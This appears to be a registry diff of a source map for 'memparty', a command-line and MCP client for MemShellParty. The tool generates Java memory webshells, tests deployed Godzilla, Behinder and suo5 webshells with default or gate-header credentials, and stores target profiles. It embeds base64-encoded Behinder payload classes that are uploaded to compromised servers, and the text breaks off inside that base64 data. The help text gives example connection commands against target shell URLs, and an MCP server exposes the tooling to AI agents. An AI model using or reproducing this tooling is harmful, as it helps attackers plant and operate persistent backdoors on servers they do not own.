memshell-party-cli 0.3.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"sources":["../src/cli.ts","../src/api/client.ts","../src/core/config.ts","../src/cli-context.ts","../src/commands/config.ts","../src/commands/connect.ts","../src/connect/assets.ts","../src/connect/classfile.ts","../src/connect/crypto.ts","../src/connect/http.ts","../src/connect/types.ts","../src/connect/behinder.ts","../src/connect/godzilla.ts","../src/connect/suo5.ts","../src/core/oplog.ts","../src/core/targets.ts","../src/commands/exec.ts","../src/commands/gen.ts","../src/core/output.ts","../src/core/request-builder.ts","../src/core/jdk.ts","../src/wizard/memshell-wizard.ts","../src/commands/log.ts","../src/mcp/server.ts","../src/version.ts","../src/commands/mcp.ts","../src/commands/parse-classname.ts","../src/commands/probe.ts","../src/wizard/probe-wizard.ts","../src/commands/target.ts","../src/commands/version.ts"],"sourcesContent":["import { Command } from \"commander\";\n\nimport { ApiError } from \"./api/client.js\";\nimport { registerConfigCommand } from \"./commands/config.js\";\nimport { registerConnectCommand } from \"./commands/connect.js\";\nimport { registerExecCommand } from \"./commands/exec.js\";\nimport { registerGenCommand } from \"./commands/gen.js\";\nimport { registerLogCommand } from \"./commands/log.js\";\nimport { registerMcpCommand } from \"./commands/mcp.js\";\nimport { registerParseClassNameCommand } from \"./commands/parse-classname.js\";\nimport { registerProbeCommand } from \"./commands/probe.js\";\nimport { registerTargetCommand } from \"./commands/target.js\";\nimport { registerVersionCommand } from \"./commands/version.js\";\nimport { DEFAULT_API_URL, ENV_VAR } from \"./core/config.js\";\nimport { CLI_VERSION } from \"./version.js\";\n\nfunction buildProgram(): Command {\n const program = new Command();\n\n program\n .name(\"memparty\")\n .description(\"CLI + MCP client for MemShellParty (party.mem.mk)\")\n .version(CLI_VERSION, \"-v, --version\", \"output the CLI version\")\n .option(\n \"--api <url>\",\n `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`,\n )\n .option(\"--timeout <ms>\", \"request timeout in milliseconds\", \"30000\");\n\n registerGenCommand(program);\n registerProbeCommand(program);\n registerConfigCommand(program);\n registerConnectCommand(program);\n registerExecCommand(program);\n registerTargetCommand(program);\n registerLogCommand(program);\n registerParseClassNameCommand(program);\n registerVersionCommand(program);\n registerMcpCommand(program);\n\n return program;\n}\n\nasync function main(): Promise<void> {\n const program = buildProgram();\n try {\n await program.parseAsync(process.argv);\n } catch (err) {\n // Set exitCode rather than calling process.exit(): an abrupt exit while\n // undici's (global fetch) keep-alive socket is still open trips a libuv\n // assertion on Windows. Letting the event loop drain avoids the crash.\n if (err instanceof ApiError) {\n process.stderr.write(`API error (${err.status || \"network\"}): ${err.message}\\n`);\n process.exitCode = 1;\n } else if (err instanceof Error) {\n // Inquirer throws this when the user aborts with Ctrl-C.\n if (err.name === \"ExitPromptError\") {\n process.stderr.write(\"\\nAborted.\\n\");\n process.exitCode = 130;\n } else {\n process.stderr.write(`Error: ${err.message}\\n`);\n process.exitCode = 1;\n }\n } else {\n process.stderr.write(`Error: ${String(err)}\\n`);\n process.exitCode = 1;\n }\n }\n}\n\nvoid main();\n","import type {\n ApiErrorResponse,\n CommandConfigVO,\n MainConfig,\n MemShellGenerateRequest,\n MemShellGenerateResponse,\n PackerTree,\n ProbeShellGenerateRequest,\n ProbeShellGenerateResponse,\n ServerConfig,\n VersionInfo,\n} from \"./types.js\";\n\nexport type FetchLike = typeof fetch;\n\n/** Error thrown when the API responds with a non-2xx status. */\nexport class ApiError extends Error {\n constructor(\n message: string,\n readonly status: number,\n readonly url: string,\n ) {\n super(message);\n this.name = \"ApiError\";\n }\n}\n\nexport interface MemPartyClientOptions {\n /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */\n baseUrl: string;\n /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */\n fetch?: FetchLike;\n /** Per-request timeout in milliseconds. Default 30000. */\n timeoutMs?: number;\n}\n\n/**\n * Typed client for the MemShellParty HTTP API.\n * Knows nothing about the CLI or MCP — it is a pure transport layer so every\n * entrypoint (flags, wizard, MCP) can share it.\n */\nexport class MemPartyClient {\n private readonly baseUrl: string;\n private readonly fetchImpl: FetchLike;\n private readonly timeoutMs: number;\n\n constructor(options: MemPartyClientOptions) {\n this.baseUrl = options.baseUrl.replace(/\\/+$/, \"\");\n this.fetchImpl = options.fetch ?? globalThis.fetch;\n this.timeoutMs = options.timeoutMs ?? 30_000;\n if (typeof this.fetchImpl !== \"function\") {\n throw new Error(\n \"No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.\",\n );\n }\n }\n\n // ---------- config ----------\n\n getServers(): Promise<ServerConfig> {\n return this.request<ServerConfig>(\"GET\", \"/api/config/servers\");\n }\n\n getConfig(): Promise<MainConfig> {\n return this.request<MainConfig>(\"GET\", \"/api/config\");\n }\n\n getPackerTree(): Promise<PackerTree> {\n return this.request<PackerTree>(\"GET\", \"/api/config/packers/tree\");\n }\n\n getPackers(): Promise<string[]> {\n return this.request<string[]>(\"GET\", \"/api/config/packers\");\n }\n\n getCommandConfigs(): Promise<CommandConfigVO> {\n return this.request<CommandConfigVO>(\"GET\", \"/api/config/command/configs\");\n }\n\n getVersion(): Promise<VersionInfo> {\n return this.request<VersionInfo>(\"GET\", \"/api/version\");\n }\n\n // ---------- generation ----------\n\n generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse> {\n return this.request<MemShellGenerateResponse>(\"POST\", \"/api/memshell/generate\", {\n json: req,\n });\n }\n\n generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse> {\n return this.request<ProbeShellGenerateResponse>(\"POST\", \"/api/probe/generate\", {\n json: req,\n });\n }\n\n /** Parse a fully-qualified class name from a base64-encoded .class file. */\n parseClassName(classBase64: string): Promise<string> {\n return this.request<string>(\"POST\", \"/api/className\", {\n text: classBase64,\n raw: true,\n });\n }\n\n // ---------- transport ----------\n\n private async request<T>(\n method: string,\n path: string,\n opts: { json?: unknown; text?: string; raw?: boolean } = {},\n ): Promise<T> {\n const url = `${this.baseUrl}${path}`;\n const headers: Record<string, string> = {};\n let body: string | undefined;\n\n if (opts.json !== undefined) {\n headers[\"Content-Type\"] = \"application/json\";\n body = JSON.stringify(opts.json);\n } else if (opts.text !== undefined) {\n headers[\"Content-Type\"] = \"text/plain\";\n body = opts.text;\n }\n\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), this.timeoutMs);\n\n let response: Response;\n try {\n response = await this.fetchImpl(url, {\n method,\n headers,\n body,\n signal: controller.signal,\n });\n } catch (err) {\n if (err instanceof Error && err.name === \"AbortError\") {\n throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url);\n }\n throw new ApiError(\n `Failed to reach ${url}: ${(err as Error).message}`,\n 0,\n url,\n );\n } finally {\n clearTimeout(timer);\n }\n\n const rawText = await response.text();\n\n if (!response.ok) {\n let message = rawText || response.statusText;\n try {\n const parsed = JSON.parse(rawText) as ApiErrorResponse;\n if (parsed?.error) message = parsed.error;\n } catch {\n // body was not JSON — keep raw text\n }\n throw new ApiError(message, response.status, url);\n }\n\n if (opts.raw) {\n return rawText as unknown as T;\n }\n if (rawText === \"\") {\n return undefined as unknown as T;\n }\n return JSON.parse(rawText) as T;\n }\n}\n","import { readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport const DEFAULT_API_URL = \"https://party.mem.mk\";\nexport const ENV_VAR = \"MEMPARTY_API_URL\";\n\nexport interface ResolveApiUrlInput {\n /** Value from the --api flag (highest priority). */\n flag?: string;\n /** Environment map (defaults to process.env). */\n env?: NodeJS.ProcessEnv;\n /** Home directory (defaults to os.homedir()). Injectable for tests. */\n home?: string;\n}\n\ninterface RcFile {\n apiUrl?: string;\n}\n\nfunction readRcFile(home: string): RcFile | undefined {\n const path = join(home, \".mempartyrc\");\n try {\n const raw = readFileSync(path, \"utf8\");\n return JSON.parse(raw) as RcFile;\n } catch {\n return undefined;\n }\n}\n\n/**\n * Resolve the API base URL by priority:\n * 1. --api flag\n * 2. MEMPARTY_API_URL env var\n * 3. ~/.mempartyrc { \"apiUrl\": \"...\" }\n * 4. default public site (https://party.mem.mk)\n */\nexport function resolveApiUrl(input: ResolveApiUrlInput = {}): string {\n const env = input.env ?? process.env;\n const home = input.home ?? homedir();\n\n const fromFlag = input.flag?.trim();\n if (fromFlag) return fromFlag;\n\n const fromEnv = env[ENV_VAR]?.trim();\n if (fromEnv) return fromEnv;\n\n const fromFile = readRcFile(home)?.apiUrl?.trim();\n if (fromFile) return fromFile;\n\n return DEFAULT_API_URL;\n}\n","import { MemPartyClient } from \"./api/client.js\";\nimport { resolveApiUrl } from \"./core/config.js\";\n\n/** Global options attached to every command via commander. */\nexport interface GlobalOptions {\n api?: string;\n timeout?: string;\n}\n\nexport function createClient(opts: GlobalOptions): MemPartyClient {\n const baseUrl = resolveApiUrl({ flag: opts.api });\n const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined;\n return new MemPartyClient({ baseUrl, timeoutMs });\n}\n\n/** Write a message to stderr. */\nexport function logError(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Write an informational message to stderr (keeps stdout clean for payloads). */\nexport function logInfo(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ConfigCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nfunction printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void {\n if (json) {\n process.stdout.write(`${JSON.stringify(data, null, 2)}\\n`);\n } else {\n process.stdout.write(`${renderLines().join(\"\\n\")}\\n`);\n }\n}\n\nexport function registerConfigCommand(program: Command): void {\n const config = program\n .command(\"config\")\n .description(\"Query supported servers, shell tools, shell types, and packers\");\n\n config\n .command(\"servers\")\n .description(\"List supported servers and their shell types\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const servers = await client.getServers();\n printJsonOrLines(servers, opts.json, () =>\n Object.entries(servers).map(([name, types]) => `${name}\\n ${types.join(\", \")}`),\n );\n });\n\n config\n .command(\"tools\")\n .description(\"List shell tools (and their shell types) per server\")\n .argument(\"[server]\", \"filter by a single server name\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const config = await client.getConfig();\n const filtered = server ? { [server]: config[server] ?? {} } : config;\n printJsonOrLines(filtered, opts.json, () =>\n Object.entries(filtered).flatMap(([name, tools]) => [\n name,\n ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(\", \")}`),\n ]),\n );\n });\n\n config\n .command(\"packers\")\n .description(\"List packers (parent / child tree)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const tree = await client.getPackerTree();\n printJsonOrLines(tree, opts.json, () =>\n tree.map((p) => (p.children.length ? `${p.name}\\n ${p.children.join(\", \")}` : p.name)),\n );\n });\n\n config\n .command(\"command\")\n .description(\"List Command-tool encryptors and implementation classes\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const cc = await client.getCommandConfigs();\n printJsonOrLines(cc, opts.json, () => [\n `encryptors: ${cc.encryptors.join(\", \")}`,\n `implementationClasses: ${cc.implementationClasses.join(\", \")}`,\n ]);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport type { GlobalOptions } from \"../cli-context.js\";\nimport { testBehinder } from \"../connect/behinder.js\";\nimport { testGodzilla } from \"../connect/godzilla.js\";\nimport { testSuo5, type Suo5Mode } from \"../connect/suo5.js\";\nimport type { CommonConnectOptions, ConnectTestResult } from \"../connect/types.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { resolveConnection } from \"../core/targets.js\";\n\ninterface ConnectCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n suo5Mode?: Suo5Mode;\n insecure?: boolean;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerConnectCommand(program: Command): void {\n program\n .command(\"connect\")\n .description(\n \"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty target list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\", \"suo5\"]),\n )\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key\", \"key\")\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .addOption(\n new Option(\"--suo5-mode <mode>\", \"suo5 protocol variant\")\n .choices([\"auto\", \"v2\", \"v1\"])\n .default(\"auto\"),\n )\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value qSGAJScj\n $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value YdwTyuQr\n $ memparty connect -u http://target/suo5.jsp -t suo5\n $ memparty connect web222 # saved target, see 'memparty target'\n $ memparty connect -u https://target/shell.jsp -t godzilla -k --json\n\nNote: shells generated by MemShellParty check a gate header — copy\nshellToolConfig.headerName/headerValue from the \\`gen --json\\` output\n(default header name is \"User-Agent\"), or the shell stays silent.\nSave the whole profile with 'memparty target save <name> ...' and then\njust pass the name.\n`,\n )\n .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n });\n } catch (err) {\n process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n };\n\n let result: ConnectTestResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common);\n break;\n case \"behinder\":\n result = await testBehinder(conn.url, conn.pass ?? \"rebeyond\", common);\n break;\n case \"suo5\":\n result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });\n break;\n default:\n process.stderr.write(`Error: unknown tool ${String(conn.tool)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(result, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(`OK ${result.tool} ${result.url}\\n ${result.detail ?? \"\"}\\n`);\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","/**\n * Embedded webshell payload templates, base64-encoded so the bundled CLI\n * stays self-contained (no runtime asset files to resolve).\n *\n * Regenerate from the binaries in src/connect/assets/ with:\n * node scratch/connect-work/gen-assets.cjs\n *\n * Source binaries live in src/connect/assets/:\n * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 —\n * the payload the Behinder client uploads for its echo/connect test.\n * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 —\n * the payload the Behinder client uploads for command execution (its\n * static `cmd` field is filled client-side before upload).\n * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from\n * godzilla.jar — the payload class uploaded on Godzilla connect.\n */\n\nconst ECHO_CLASS_B64 =\n \"yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA\" +\n \"vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi\" +\n \"AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe\" +\n \"CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA\" +\n \"8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK\" +\n \"AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0\" +\n \"AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i\" +\n \"ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F\" +\n \"Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0\" +\n \"aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh\" +\n \"cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T\" +\n \"dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j\" +\n \"cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv\" +\n \"cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv\" +\n \"TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0\" +\n \"cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM\" +\n \"amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7\" +\n \"KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2\" +\n \"NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl\" +\n \"cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG\" +\n \"cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls\" +\n \"L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1\" +\n \"dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV\" +\n \"DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA\" +\n \"EGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMM\" +\n \"AGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8v\" +\n \"Qnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEu\" +\n \"dmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIB\" +\n \"MwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApn\" +\n \"ZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNv\" +\n \"ZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9U\" +\n \"aHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRp\" +\n \"bC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRv\" +\n \"cgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xh\" +\n \"c3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNz\" +\n \"OylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9s\" +\n \"YW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcv\" +\n \"U3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5n\" +\n \"AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0\" +\n \"by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkB\" +\n \"ABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEA\" +\n \"BmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEv\" +\n \"dXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMo\" +\n \"KVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2Jq\" +\n \"ZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEA\" +\n \"B2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzsp\" +\n \"TGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEv\" +\n \"bGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB\" +\n \"ABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEA\" +\n \"YQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwAB\" +\n \"sQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIG\" +\n \"uQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kD\" +\n \"KiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEv\" +\n \"TiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70AD7YAEE4ttgALEhEEvQANWQMSElO2AA46BBkE\" +\n \"LQS9AA9ZAyoqLAS3ABMSFLYAFbcAFlO2ABBXLbYACxIXA70ADbYADi0DvQAPtgAQVy22AAsSGAO9AA22AA4tA70AD7YAEFenAJpO\" +\n \"LbYAGqcAkjoFKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQOgYZBrYACxIRBL0ADVkDEhJTtgAOOgcZBxkGBL0AD1kDKiosBLcA\" +\n \"ExIUtgAVtwAWU7YAEFcZBrYACxIXA70ADbYADhkGA70AD7YAEFcZBrYACxIYA70ADbYADhkGA70AD7YAEFenAAo6BhkGtgAaGQW/\" +\n \"BKwABwAkAJ0AoAAZAAgAJACoABkAwQE6AT0AGQAIACQBRQAAAKgAwQFFAAABRwHHAcoAGQFFAUcBRQAAAAQAbAAAAJIAJAAAABgA\" +\n \"CAAaAA0AGwAYABwAJAAyAEAAMwBUADQAcQA3AIcAOACdAD8AoAA7AKEAPgClAEAAqAAdAKkAHwC2ACAAwQAyAN0AMwDxADQBDgA3\" +\n \"ASQAOAE6AD8BPQA7AT4APgFCAEABRQAmAUcAMgFkADMBeQA0AZcANwGvADgBxwA/AcoAOwHMAD4B0QBAAdQAQQBtAAAAhAANAEAA\" +\n \"XQByAGYAAwBUAEkAcwB0AAQAoQAEAHUAdgADAKkAGAB1AHYAAwDdAF0AcgBmAAMA8QBJAHMAdAAEAT4ABAB1AHYAAwFkAGMAcgBm\" +\n \"AAYBeQBOAHMAdAAHAcwABQB1AHYABgAAAdYAbgBvAAAAAAHWAHcAZgABAAgBzgB4AHkAAgB6AAAADAABAAgBzgB4AHsAAgB8AAAA\" +\n 